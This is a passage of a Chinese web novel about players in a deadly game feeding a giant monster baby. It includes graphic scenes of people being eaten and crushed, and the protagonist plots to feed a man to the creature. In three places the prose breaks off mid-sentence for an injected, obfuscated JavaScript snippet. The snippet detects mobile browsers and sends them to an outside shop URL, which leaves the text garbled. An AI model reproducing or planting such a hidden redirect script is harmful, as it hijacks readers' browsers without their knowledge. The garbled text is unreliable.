“救命,唔……救命……”小雅的头发被奶油糊成了一团,白花花的一片黏在她的脸颊上,她每次张嘴呼喊,都有更多的奶油灌进她的鼻腔和嘴中,让她无法呼吸。 木木离她最近,奋力抓住了她还在挥动的手臂,只是小雅身上粘着的奶油太滑了,几番尝试,她的手臂总是从木木的手掌中滑出。 “求求你们,求求你们快来帮忙啊!”木木的声音中已经带上了哭腔,她将充满希冀的目光投射在附近的人身上。 小满从自己的世界中回过神,她看了眼畏畏缩缩不敢上前的几个人,和剩下的人一起跑到木木身侧,拉住了小雅的衣摆。 11. 巨婴4 可惜,婴儿已先一步他们动作。 婴儿轻而易举地就将小雅从拉拽着她的力量中拔出,他将浑身沾满奶油的小雅举起,咯咯笑着端详了一眼,紧接着,在众目睽睽之下,他将小雅的上半身一把塞进了嘴里。小雅露在外面的双腿还在摆动,婴儿似是不满食物的求生挣扎,用力地合上牙齿,于是那双腿就像煮熟的面条一样瘫软了下来。 婴儿嚼得过于起劲,偌大的场所中只听得到人体骨骼碎裂时发出的脆响。 一刹那,大厅中像是有人按下了暂停键。面前惊悚的一幕冲刷着在场众人的心理防线,让人喉咙发紧,两股战战,动弹不得。 木木怔了一瞬,她蹒跚着上前,捶打着婴儿的大腿,“你这个混蛋,你怎么能这么做!你个唔唔唔唔唔……” 趁婴儿还在进食,没有注意到腿侧的小动作,小满冲上前去捂住木木的嘴,果断地拉起她将她迅速带离婴儿身侧。 婴儿吃饱了,他满足地打了个饱嗝,带着满手满嘴的血污沉沉睡去。 小满架着神情恍惚的木木来到柱子后,凯文正皱眉叉腰站在那,用审视的目光打量着面前的两个男生。 不用凯文多说,小满也清楚他们的情况。他们这些人离婴儿实在太远了,刚跑到婴儿面前,又恰好目睹那一幕惨剧的发生。冬冬和牛仔两个男生霎时间红了眼,他们攥紧了拳头,二话不说就要上前与婴儿拼命,结果被尚存理智的凯文和灯泡两个人拦下,带到了安全的地方。 一脸憋屈的冬冬将紧攥成拳的手狠狠锤向地面,牛仔虽然没什么动作,但脸色铁青,扶着额头的手背青筋外露,隐忍不发。 见此情形,小满眼观鼻鼻观心,尽可能降低自己的存在感。 “到底发生了什么?为什么小雅会被那个怪物吃了?你们都干了些什么?”冬冬的眼神中充斥着愤怒,他看看垂首不语的木木,又将目光转移到一旁的钱哥和涛哥身上,“是不是你们两个把怪物惹急了?要不然他怎么会突然吃人?” 钱哥被冬冬的眼神吓得一哆嗦,但很快恢复状态,清清喉咙,傲慢地说道:“你要是给我扣屎盆子,这我可就不乐意了。你们不在,我俩可是出力的头,你怨谁不好,非得怨在我们两个干真活的身上。” 冬冬不屑地勾了勾唇角,“就你还干活?瞧你这么贪生怕死,我看就是你违反了规则,反而让小雅替你送了命。恭喜你啊,现在身上背着两条人命了。” “你怎么说话呢?没凭没据就在这诬陷起好人来了!”钱哥一挺大肚子,没好气地翻了个白眼。 木木艰难地开口,打断了两人间剑拔弩张的氛围,“这事和那个男的没关系。我离小雅最近,我也不知道那个怪物为什么就突然发了狂。” “我说就和我一点关系没有吧?”钱哥颇为得意地扬了扬下巴,“你看,你朋友都这么说了!” 冬冬被堵了一句,心里憋着气,和木木说话时,语气中也带了些许不耐,“你离得最近也不知道是因为什么?你就不能再好好想想有什么细节吗?” 木木面露痛苦之色,她双手抱着脑袋,缓缓蹲在地上啜泣。 “好了,都别说了。”一直不说话的牛仔开口了。 他缓缓扫视一圈在座的人,面无表情地说道:“那个怪物吃了睡睡了吃,一点都不挪窝。门后有可以当做武器的东西,不如我们趁那个怪物睡着去把他杀了。” “不行。” 令小满感到意外的是,这次跳出来持反对意见的竟然是凯文。 凯文双手环抱在胸前,眉头紧皱,他的表情是前所未见的严肃,“即便我们有冷兵器和几个能行动的人,但你们也看到了,婴儿无论是武力值还是反应速度都在我们之上,要是正面硬碰硬,只有死路一条。” 牛仔与凯文相对而站,冷冷一笑,“你还没尝试就说不行,我看你也是个贪生怕死的软脚虾。我告诉你,既然隐藏规则说的是杀死婴儿,那就说明婴儿不是不可战胜的,只要找到了他的弱点,那么就能杀死他!” 凯文毫不退让,他伸手指了指沉睡的婴儿,又指了指还活着的这些人,说道:“你的朋友因为意外失去了生命,我对此感到很抱歉。但是,你没有计划,只凭一腔热血带着你剩下的活着的朋友去死,这就是你想要的结果吗?剩下的朋友你不保护了吗?这是那个小姑娘想看到的吗?你能不能静下心来好好想想!” 牛仔面无表情地听完,直接朝他挥来一拳,“你有什么资格以小雅的身份对我说这些话?你凭什么这么说!我知道了,反正死的不是你的朋友,你当然可以说出这么袖手旁观的话来!” 凯文一个侧身避过牛仔的攻击,他固执地劝解道:“婴儿当然有弱点,我们人这么多,慢慢观察慢慢想,总会找到破局的方法。” 牛仔打出的一拳扑了个空,他转过身,愤愤地看着凯文,“我等不了了!既然你这么不认同我说的话,那咱们就此分道扬镳好了。” 他捡拾着地上掉落的东西,招呼着剩下的人离开。 冬冬毫不犹豫地跟在了他身后,灯泡犹豫了一会,还是拉着木木和他们离开了。钱哥见涛哥带着小秦跟上了离开的人,也麻溜地跑了,一时间,还留在原地的就只有那个独自一人的女人和那个一直怯怯地不出声的小女孩了。 凯文恢复了环抱着的姿势,他侧着头,手指快速地敲打着自己的大臂。 童童烦躁时也经常做这个动作。 小满思索片刻,走上前去轻轻戳了一下凯文,“既然咱们还有点人,那不如依旧按照原本的计划进行,就是你要辛苦一点了。” 凯文扬唇轻笑,微微点头,“好,不过我也有点累了,你先去忙你的,不用管我。” 小满点点头,来到坐在一旁的女人身边,从记忆中搜寻着她的名字,“王姐,你们几个人之前是不是记的三楼的信息来着?他们应该先会去二楼找武器,你先想想三楼还有什么比较特殊的,看一眼就忘不了的东西,拿下来我们一起研究一下。” 王姐面露难色,“你要让我记记门的东西还行,可那算术题实在是费力,我上学的时候就不喜欢学数学,到现在又工作了五六年,大脑早就迟钝了。” “没事,王姐你先……”小满正说着话,突然感觉有人扯着自己的衣角。她扭头一看,竟然是那个怯生生的小女孩。 小女孩一对上小满的目光,扁扁嘴又要哭,小满眼疾手快,伸手托住她的脸,让她微微上仰着与自己对视,“小妹妹,你有什么话想说吗?” “我在少年宫学过珠心算,我能帮你们计算那些数字。”小女孩紧抿着嘴,眼眶微红,怕是开口就用了全部的勇气。 小满本就头疼和小孩子相处,一听小女孩会算数,立刻来了精神。她把小女孩往王姐怀中推了推,“王姐,你的帮手来了。你们看看能不能两个人一起进房间,或者一个人在外面算题,另一个人进去拿东西。” 得了小满叮嘱的一大一小携手离开,小满原地坐下,思考起上一次婴儿苏醒的始末。 当时自己明明确认过,每次婴儿沉睡的时间大概在10到15分钟左右,上次婴儿刚刚睡着,自己就去规规矩矩按照步骤打开了门。其他人也已经见识到违背规则的后果,自然也不会故意做出什么作死举动。 小满摊开手掌,看着静静躺在手心中的那枚电池。 上一次自己和其他人都将房间中的东西带了出来,说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165952|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定婴儿的苏醒和带出房间的物品有关,只是还不知道是品种或者数量的缘故。 就在她整理完思绪的瞬间,地面又开始剧烈的震动。小满抬头望去,婴儿醒了!与此同时,二楼一队人马正拿着些什么浩浩荡荡地向大厅走来。看来他们就已经找好了工具,准备和婴儿决一死战了。 小满藏到了最近的柱子后,用眼色示意凯文不必出去给婴儿喂食,随后探出半个脑袋观察大厅的事态发展。其实她也很好奇,婴儿究竟可不可以被这样杀死。 二楼的人显然没料到这种突发情况,他们互相扶着维护阵型,快速向着楼梯移动。婴儿当然不会给他们反应的机会,他嚎啕大哭,发出像是要刺穿耳膜的高音。 小满捂着耳朵,一脸期待地看着正在朝婴儿快速移动的队伍。 他们每人手中都拿着一根长木棍,木棍的最顶端用胶带绑着些诸如园艺剪刀,水果刀和玻璃碎片一类的尖锐物体,值得一提的是,站在最前方的牛仔手中居然攥着一个奶瓶。 那不就是商品包装中的奶瓶吗!难道这个奶瓶和他们的计划有关?他们已经知道这个奶瓶的用途了? 队伍在距离婴儿还有十几米的距离时停下,牛仔铆足了劲,将奶瓶用力掷向婴儿。奶瓶击中婴儿的大腿,随即啪嗒一下掉在地上。 出乎所有人的预料,婴儿居然就这样停止了哭闹,他眨巴着好奇的眼睛,低头看着那个对于他而言像是蚂蚁一般的奶瓶,然后就这样用左右两只手的食指将它捏了起来,小心地举到了面前。 他努力地噘着嘴凑近它,轻轻舔舐着奶嘴,那专注的神态仿佛是在品尝什么珍馐美味。 趁着婴儿全神贯注地研究奶瓶,那边小心观察的人终于有了动作。不用什么口号,也没有什么组织,只是单纯遵循拼杀的意志,重复着穿刺劈砍的动作。 瞬间,婴儿的腿上出现了许多汩汩冒着鲜血的血洞,或许是腿上的刺痛引起了他的注意,他将手上的奶瓶一抛,顺手拂了拂自己的腿。 随着婴儿的动作,那些围在他腿边的人像是保龄球的球瓶,东倒西歪地跌落一地。 不过也有例外。 牛仔凭借自己矫健的身手,在婴儿将手垂下时三两下攀住,爬到了他的背后。他全神贯注地盯着婴儿的后颈,摩挲着手中的自制长枪。在大致确定了婴儿的颈动脉后,他卯足力气,用力向婴儿的颈部扎去。 锋利的刀尖很轻易地就刺穿了婴儿的皮肉,婴儿捂住脖子,哇哇大哭。 那哭声的穿透力是之前的好几倍,魔音贯耳,小满忍受不了这种程度的声波攻击,跪在地上扶住太阳穴,用深呼吸让自己平静下来。 首当其冲自然是离婴儿最近的牛仔,他被声波震得整个人都恍恍惚惚,还没来得及做出第二下攻击,就扑通一下从婴儿的身上栽倒了下去。 看着掉在地上不省人事的牛仔,婴儿的哭声停止了,取而代之的是满含愤怒的埋怨,“你这个坏虫子,干嘛咬我!干嘛咬我!” 他挥动着小电车一般大的拳头,三两下就将牛仔砸成了一堆血肉模糊的不明物体。 发泄完了心中的怒气,婴儿的肚子咕噜一声,发出了不满的抗议。他一扁嘴,续上了被牛仔打断的哭泣,“我饿了,我饿了!我要吃东西!” 早有准备的凯文抓紧将搬运回来的奶瓶堆到婴儿面前,看着他喝完奶又睡死过去。 剩下的人像鹌鹑一样缩在一起不动弹,任凭凯文怎么呼唤都无济于事。无奈之下,他走上前,在他们面前站定,“你们的想法很好,就是准备得太仓促,所以才会落下风。既然正面对抗不行,不如一起讨论下新发现,比如那个奶瓶的功能,你们觉得怎么样?” 12. 巨婴5 领头羊一死,眼下除了听从凯文的意见,众人暂时没有更好的解决方法。 大家又重新汇聚到了一起,只是和最开始相比人少了几个,气氛也压抑许多。 小满扫视了一圈沉默的人,不愿再浪费宝贵的时间,直接掏出自己的奶瓶拍在身前,“看你们刚才的表现,你们已经知道这个是做什么的了?” “不,只是瞎猫碰上死耗子罢了。”说话的是一直沉默寡言,存在感很低的小秦。 她看了眼缩在灯泡身后不停颤抖的木木,接着轻声说道:“是那边的小姑娘提议的。她说包装里的东西一定和任务有关,奶瓶或许对婴儿有安抚的作用,我们就这样试了试,结果你们也看到了。” 效果自然是显而易见的,奶瓶的作用或许就是吸引婴儿的注意力,在紧急情况下的保命工具,又或者可以为攻击制造一整段的安全时间。 小雅和牛仔的奶瓶皆是随身携带着,只不过一个和她一起进了婴儿的肚子,一个和他一起被锤成了碎片。王姐的奶瓶在她男朋友身上,连带着他自己的和他一起摔碎了。除了不愿意上交,执拗地表示要留给自己防身的钱哥,已经将奶瓶使用的木木,大家统共剩下七个奶瓶,一齐摆在人群中央。 “你们也看到了,单凭蛮力对抗我们根本不是婴儿的对手。想要杀死他,第一要找到他的弱点,第二要找到对应的武器,”凯文扳着手指一条一条地讲解着,“我们要尽量避免和婴儿正面接触,所以可以选择一些远程的武器,比如弓箭,弹弓一类,又或者使用汽油和高浓度的酒精,用火来对付他。” “你说得倒是容易,这些明显就是克制行动不便的婴儿的,怎么可能随随便便就给我们啊?我看我们还是早点放弃杀死他的念头,想想怎么喂饱他是正事。”钱哥将奶瓶紧紧抱在身前,一脸不忿地嘟囔着。 凯文听了他的话不住地摇头,“婴儿已经向我们展示了他的攻击性,我们谁都不知道他接下来会做些什么。所以,我们要做好最坏的打算,也就是杀死婴儿,这你也可以理解为我们给自己选择的自保手段。” 说罢,他指向色彩缤纷的门,“这里的一千两百道门除了可以喂给婴儿的食物,应当还有具有攻击性质的工具。我们适当选一点分发给大家,总比都手无寸铁得要好。” 小满对凯文的话表示赞同,她努力使自己的语气变得活泼一些,“是的,我在一楼的一扇门里发现了蜡烛,其他楼层应该也有类似的东西吧?” “对,三楼有个很大的铁瓶子,里面盛着氢气,我自己拖不动,就没拿下来。”王姐似乎是想到了曾见过的储气瓶,连声附和着。 想起自己上一次还未被解答的疑问,小满换了副拧眉告诫的神情劝解道:“婴儿醒来的时间和我们拿取的东西或许有什么关联,安全起见,大家接下来的时间先搜集情报,不要擅自把东西带出门外,等婴儿下一次唱歌谣时,我们再一起回到大厅集合,交流一下,好吗?” 众人纷纷表示赞同。 凯文收拾好奶瓶,拉着留在大厅中的男的讨论着什么。不得不说,凯文不苟言笑的时候真的很有威压,再配上他通过健身锻炼出的肌肉线条,就算是钱哥那样不服管的人也只得暗自咽口唾沫,听从安排。 小雅已经死了,她所记忆过的门也就此变为了未知的信息。一楼的四百道门自己已经记得清清楚楚,所以小满自告奋勇地接下了重新记忆二楼门的任务。 在二楼多看了百十来扇门,小满发觉了不对劲的地方。 一楼的东西体积都很小,绝大部分是自己一只手就能拿得起来的大小。但二楼的东西普遍比一楼的要大,比如一张实木的摇摇椅,一颗巨大的瑜伽球,自己需要双手拖动才行。至于三楼,刚才王姐也提到过,里面有她一个成年人都拖动不了分毫的铁制储气瓶。 这些信息无不在说明越往上,搬运所耗费的时间和精力就越多,想要通过门后的东西喂饱婴儿的难度也就越大。 难道除了门后的东西,还有喂饱婴儿的捷径吗? 不经意的一瞥,小满的目光落在干了一会儿活就哭天抹泪累得直喊受不了了的钱哥身上。看着看着,她的嘴角勾起一抹饶有兴味的笑。 婴儿在吃奶油蛋糕的同时吃掉了小雅,这是不是说明,人类也在婴儿的可食用范畴中呢?钱哥大腹便便,满脸横肉的模样看起来肉量一个顶俩,不如直接让他去给婴儿加餐,既能喂饱婴儿,也能让自己的耳朵清静清静。 就在她思考哄骗钱哥的可能性时,吃饱的婴儿又开始唱起了歌谣,“宝宝乖乖,爱吃饭又爱吃菜,吃了九顿又九顿,肚子滚圆真可爱。” 九加九等于十八,这是要给婴儿喂十八次的意思?可是大厅中的奶瓶早就被婴儿全喝光了,最近的这三次还是大厅中的人冒着生命危险给婴儿喂食的果冻,只能说他们运气好,婴儿乖乖吃东西,没再出现类似小雅的突发情况。 偌大的大厅里只剩下了三块奶油蛋糕,这也就意味着,他们要再次直面婴儿食用蛋糕时佐以人类的险状。 众人回到大厅,小满顺便给大家讲述了一下自己的推测,听完这些话,大家的脸色都不太好。 “下一次我们要喂婴儿奶油蛋糕了?”灯泡环顾了一下大厅,说这话时下巴都在打颤。他身侧的木木听到“奶油蛋糕”这四个字,条件反射般地拽住了灯泡的衣角。 回应他的只有大家的叹气声与咂舌声,毕竟大家都还记得小雅临死前挣扎的惨状,一想到下一个面临这种情况的有可能是自己,大家心里发怵,因此对这个话题避而不谈。 一个小满预料之外的人开了口,居然是她刚刚才腹诽过的钱哥。她盯着钱哥一张一合的嘴,倒想看看他还能出什么馊主意来。 钱哥故作高深地咳嗽两声清清嗓子,随后神神秘秘地朝一旁一指,“那边不有个半死不活的男同志?咱们下一次就先拿他做实验好了,看看婴儿是不是真的饿极了会吃人。”钱哥指的正是奄奄一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165953|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息的方哥,也就是王姐的男朋友。 此话一出,王姐立刻不乐意了,她攥着拳,双眸中似是有火焰喷出,“你是怎么有脸打他的主意的?你还嫌害得他不够惨是吧?我告诉你,你要是敢动他,我和你拼命!” 涛哥接受到钱哥威胁的眼神,赶忙站出来当和事佬。他陪着笑,斟酌着自己的语气:“这位姑娘,不是我说,是个明眼人都能看出来你对象时日无多了。既是如此,你不如让他给你做出最后的贡献,探探将来的路。当然,我们钱总也会感激你的。不说别的,这位男士的丧葬费和你往后的日常生活费,我们钱总都给你包了,是不是啊钱总?” 他轻而易举地就点燃了王姐积存的怒火,王姐吐了口唾沫,一脸鄙夷地斜睨着涛哥,“呸,你就是这头肥猪的一条狗,就会看你主子的眼色咬人。你有什么资格在这里劝我大度?还劝我把我对象的骨头抽出来给你们当台阶?想得美!” 涛哥被王姐劈头盖脸地一顿骂,灰溜溜地低下头,求助似的看向钱哥。但后者对他做了个口型,又做了个驱赶的手势,小满大概能猜到钱哥的意思,就是让他自己解决,不要把战火重新引回到自己身上。 于是涛哥咬了咬牙换上了一副更灿烂的笑容,带着小秦强硬地将王姐拉到了一边,低声下气地商议着什么。 “在想什么?”凯文不知何时来到了小满的身边,见她的目光一直追逐着涛哥和小秦的背影,忍不住问了一句。 小满见来人是凯文,犹豫了一瞬,还是老老实实地开了口:“我在想,目前场地上的东西肯定不够喂饱婴儿的了,但钱哥提出的建议我觉得不错,就是给婴儿喂人的那一部分。可以把钱哥喂给婴儿吗?” 凯文仿佛受到了震撼,他数度看向小满,欲言又止,仿佛在确认这是不是小满的真实想法。 “我只是觉得在能保证不牺牲任何一个人的情况下通关比较好。”凯文望着小满黑白分明的眼睛,有气无力地说道。 小满的表情看起来很困惑,她抬眼,与凯文的视线交汇,“可是在任务中牺牲是难免的呀,在便利店的任务中,总要有人为了另一部分人牺牲。就像第一个任务,我们不就是牺牲了剩下的人才活下来的吗?” 凯文愣怔片刻,解释道:“上个任务是做出选择,不遵守规则的人会死,所以我们是在任务的要求下被动地做出牺牲一部分人的决定。而现在,场上还没有任何提示告诉我们这是个只有把人喂给婴儿才会结束的游戏,我们所做的一切都是我们的主观行为。一旦我们自行决定牺牲的人,那么谁又能保证你不是下一个被牺牲的呢?” “我大概懂你的意思了,就是现在规则没有说明必须喂人,所以喂人不是必须的,对嘛?”小满眼睛一亮,像是发现了什么新大陆,“所以我们现在应该先喂饱婴儿,推进任务进程,看看会不会出现什么隐藏规则。” 凯文看着重新回到神游状态的小满,自顾自地嘟囔着:“我怎么感觉你还不太明白。” 13. 巨婴6 很快,婴儿睁开了双眼,喂食的时间又到了。 奶油蛋糕软烂得不成形状,几人奋力将它推到婴儿面前,又将包裹在手上的外套取下扔到一旁,躲在柱子后屏息关注婴儿的动向。 “根据我的推断,小雅当时可能离婴儿太近,身上又沾上了奶油,所以才会被婴儿当做可食用的部分。”小满全身都缩在柱子后,只露出一只眼睛,密切地监视着婴儿的动向。 凯文愁眉紧锁,面色有些不安,他惴惴道:“婴儿的攻击性在座的有目共睹,万一和你的推测有出入怎么办?” “嗯——”小满咂咂舌,“那就是我推断错误,咱们抓紧想办法呗。” 说话间,婴儿已经拱在地上大口吞食起了蛋糕,看起来就算不用人类当辅食也能吃得津津有味。 小满提起的心刚放下一半,还没等舒口气,婴儿有出了幺蛾子。他将手指上沾染的奶油舔得一干二净,左顾右盼了一阵,似乎是在找些什么。 “他该不会在找我们吧?”凯文心里没底,拉着小满往柱子后藏得更深。 很不幸的是,凯文的乌鸦嘴效果立竿见影。婴儿一见四下无人,立刻扯着嗓子嚎啕大哭起来,“地上还有这么多奶油,妈妈说不能浪费食物,浪费食物不是乖宝宝,不是乖宝宝!” “要死啊!撤撤撤!”灯泡指挥着剩下的人往楼梯口跑去,留下凯文和小满殿后。 一边跑一边一步三回头的小满发觉了不对劲,她伸手拉住凯文的衣角:“你之前说的话还算数吗?” 在小满提出了最初的大体方案后,凯文又给方案补充了一条,也就是灯泡负责组织的撤退战略,“婴儿的体型这么大,按照普遍规律而言,他只能匍匐着前进,因为他的颈椎完全支撑不了他的体重。之前几次不也是这样,婴儿只会攻击他附近的人,这是不是说明如果婴儿出现攻击意图,我们可以跑到楼上躲避,等他饿了没劲了,再次进入沉睡。” 凯文看起来颇有信心,他将大厅四角的楼梯圈出,继续说道,“就算我们跑不到三楼,也可以躲在拐角,只要在婴儿的视线范围内消失就好。” 小满举起了手,像个给老师提问的小学生,“如果婴儿可以站起,或者利用工具攻击我们怎么办?” 凯文只思考了一瞬,旋即抬起头坚定道:“这个计划既然是我提出的,那么如果真遇到了那种情况,我会留下和婴儿周旋,给你们争取逃跑的时间。” 婴儿嚎啕大哭了好一会儿,见没人为他呈上食物,纳闷地左瞧右瞧,声音也逐渐低了下去,“我要吃东西,我要吃东西。” 他的呼唤自然得不到一丁点回应。 婴儿愣怔了片刻,在确认了四周无人这个事实后,将双手支在身后一用力,整个上半身就这样被他撑了起来。 他一边喊着一二一二给自己加油鼓劲,一边奋力蹬着两条粗壮的肉腿,不多时,原本像只蠕虫一样在地上匍匐的婴儿,就这样依靠双腿的力量站了起来。 站起来的婴儿有两层楼那么高,仿佛他一伸手就可以触摸到天花板。他站起来的第一件事,居然不是拿取地上的其他奶油蛋糕解饿,而是蹒跚几步靠近离他最近的一面走廊,一面往走廊里瞧,一面伸手扣弄着走廊外的围栏。那模样像是在找什么东西。 他的举动震惊了所有人,谁也没想到像婴儿这样看起来头脑简单的庞然大物居然还有这样的灵智。 婴儿久不见人,不由得急躁起来,手下的动作也逐渐变得粗暴。他手握成拳,一下一下地凿砸着二楼的走廊。灰尘与砖块簌簌落下,二楼的围栏在婴儿的动作下变得像是什么粗制滥造的豆腐渣工程,眨眼间就被他破坏了大半。 “不行,不能再让他这么破坏下去了!”小满面色凝重,握住凯文的手腕就向婴儿的位置奔去,“他如果破坏了二楼的走廊,不止穿行不便,那些门也开不了了!” “好,二楼危险,你先在一楼楼梯口等等,我去拖住他。”意识到事态的严重性后,凯文向小满匆匆交代一番,随后揣起事先准备好的两个奶瓶就冲了过去。 他抡圆了胳膊,将奶瓶投掷到婴儿胳膊处。婴儿再一次被奶瓶吸引,停止了原本的攻击动作。他一屁股坐在地上,专心享用起难得的美味来。 趁此机会,凯文站在婴儿的不远处,双手举过头顶挥舞,大声喊着些无意义的音节,吸引婴儿的注意。婴儿自然接收到了凯文的挑衅,他嘴上虽然还在慢条斯理地喝着奶,一双眼睛却锁定住了正在大呼小叫的凯文。 随后,他将奶瓶一丢,伸出双手蹒跚着向凯文走来。 凯文双唇紧抿,下意识地放缓了呼吸,但他一动不动地站在原地,等待着婴儿的接近。 婴儿几步就迈到了凯文面前,他猛地伸出手,想要抓住面前的小小甜点。凯文借着他俯身来抓的动作,在他的手臂下一扭身,从婴儿的□□钻了过去。婴儿下意识地将手后移,追着凯文灵巧的身影,但不知是不是低估了自己的体型,他巨大的身躯前倾,狠狠砸在了地上。 婴儿摔了个前翻,不知是哪里受了些伤,哼唧哼唧闷声哭个不停。不过他很快就从倒地的状态回复,重新朝着凯文扑去。 有了被耍弄的前车之鉴,婴儿这次明显谨慎了不少。他试探着往凯文奔跑的方向迈了一步,紧接着又往后撤了一步,低头看向自己的□□。 凯文只是小步跑着,始终与婴儿保持着不远不近的距离拉扯。忽然,他的余光瞟到了一侧的柱子,那露出来的脸不正是小满吗?她怎么跑到这里来了? 小满没放弃拿下隐藏任务这个念头。毕竟这个任务又死了几个人,从性价比的角度出发,至少拿下隐藏任务,总体来看才不算亏。 婴儿与凯文周旋,势必会比单纯地坐着露出更多细节。而她要做的就是在这最后的喂食期间找到婴儿的破绽,不然,就只好选择给婴儿喂人了。 婴儿体型庞大,但无论是姿态还是脑子,都比自己想象中灵活。就像刚才他摔的一跤,小满甚至可以听到他脊椎骨传来的嘎嘣嘎嘣碎裂声。但几个呼吸过后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165954|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就这么完好无损地站起来了,像是什么都没发生过一样。包括之前牛仔他们的行动,明明已经在婴儿身上造成了流血创口,但造成的伤害对于婴儿来说九牛一毛,不值一提。 看来他的身体构造和正常人有别,单从使用物理手段来杀死他还是有一定难度。 旁观凯文和婴儿的过招,小满也不是一无所获。 地上残留着果汁与奶渍,滑腻腻地糊了一片。人穿着橡胶底的鞋子还能照常奔跑,但婴儿光着脚,再加上体重过大,很容易重心不稳,歪在地上。 她借着柱子的掩护在大厅转了一圈,终于得到机会与凯文对视。 小满示意凯文看向一旁的食物残渣,用目光再三强调。凯文不是个傻的,迅速明白了小满的意图,一步步带着婴儿往容易打滑的地板上走去。 凯文猛地一转身,将后背留给婴儿。婴儿眼前一亮,似乎以为自己吓得凯文落荒而逃,忙不迭地一边笑着一边追了上去。凯文在加速,婴儿跑得也不慢,在速度的加持下,婴儿甫一踏上沾着果汁的地板就摔倒了。惯性让他向前滑动,直到撞到柱子才堪堪停下。 或许是装痛了,又或许是饿虚了,婴儿就这样维持着蜷缩的姿势睡着了。 惊魂未定的凯文背靠柱子大喘着粗气,双腿已经软得站不起来了。 小满当然知道他有多害怕,毕竟刚才他单是站着,腿就已经抖得像筛糠一样。只不过他自己已经放出了一番豪言壮语,又被自己督促着兑现承诺,骑虎难下罢了。 但他终归是做到了他应该做的,小满不禁高看了凯文一眼。 她优哉游哉地踱着步靠近凯文,贴心地送上祝福,“彤彤说要表扬舍己为人的行为,凯文,希望你再接再励。” 凯文露出一个比哭还难看的笑,他干张着嘴不知道说些什么。 小满扶着下巴琢磨了一会,半蹲到凯文面前,“你的体力怎么样,还能完成接下来两轮的牵制婴儿的任务吗?” “不太行,光是和他打个照面我都怕死了。算上那两次我们也不过喂了十二次食物,还有六次需要我们搬运三层楼的食物。”凯文活动着胳膊,面露难色。 小满给了他一个安抚性质的笑,“再撑两次又会到婴儿的喂食时间,我有预感,那时婴儿唱的歌谣会和隐藏任务有关。只要在婴儿沉睡的间隙破解出隐藏任务的关键,那么我们就不用再这里当苦工了。” 两人说话间,原本在二三楼避难的幸存者纷纷聚集到了他们身边。 小满伸手指着凯文说道:“他刚才是如何和婴儿周旋的你们也看到了,只要动作敏捷点,不要被婴儿抓到就不会死。规则已经很清楚了,接下来你们听凯文的分配就好。” 说罢她偷偷给凯文比了个点赞的手势,往楼梯间走去。 但小满似乎想到了什么,转身点了两个人名,“涛哥,小秦,和我去二楼修补一下被婴儿破坏的走廊吧。” 被点到名字的二人面面相觑,在小满的催促下还是主动跟上了她。 14. 巨婴7 说是修补,但其实就只是把一扇门后的伸缩梯子拿出来搭在被婴儿破坏的走廊上而已。这种事情一个力气大点的人就能做到,犯不着兴师动众地三个人一齐过去。 涛哥蹲在地上调整了一下梯子摆放的位置,直起身揩了把汗,“小姑娘,这里我们都修整好了,可以下去了吧?” “不行,”小满伸手拦住了正欲离开的两人,“我有事和你们说。” 涛哥和小秦对视一眼,小秦笑着迎了过来,“小妹妹,你说吧,不过要快点,不然等等那个怪物就要醒了。” “那我就长话短说了,让钱哥去死吧。”小满简洁扼要地提出了自己的意见。 涛哥脸上还带着微笑,似乎是不太确定小满这番话是玩笑还是认真的。他重复了一遍小满的回答,“让钱总去死?你这是在开玩笑吧?” 小满摇摇头,“我是认真的。你们也听到了,在场上的奶油蛋糕被消耗后还有六次喂食,我们当然可以去搜集门后的可食用物品,但这些都太麻烦了,不是吗?既然婴儿可以通过吃人填饱肚子,那么直接给婴儿喂人是最简单的方法。” 涛哥只觉得喉咙发紧,他艰难地开口,声音都变了调,“你真的不是在开玩笑?你要给婴儿喂人?你这是在杀人啊!” 小满似乎对涛哥的提问很是不解,她四下看了一圈,说道:“可是这里不是现实世界啊,为什么要用现实世界的法律来约束自己?” 小秦的眸光似乎闪动了几下,她扶住涛哥的手臂,沉声问道:“为什么是钱哥?为什么要来找我们谈?” “钱哥和你们非亲非故,就算这么死了,也不会给你们造成什么太大的影响吧?我找你们当然是觉得钱哥对你们戒心低,由你们行动成功的几率会比较大。”小满坦诚布公地说道。 涛哥梗着脖子咽了几口唾沫,颤声道:“钱哥可是和我们公司有合作,要是他死了,那我们公司的订单不就……” “他一个项目经理吹自己是手眼通天的大人物你还真信了?”一直不说话的小秦抬头瞪着涛哥,“我说你就是死呆子,除了研发其他的一窍不通。他要是死了顶多再换个项目经理,说不准下一个还不卡我们进程了!” “可他毕竟对我有知遇之恩,我就这么背叛他?我还是不是个人了?”涛哥小声替钱哥辩解着。 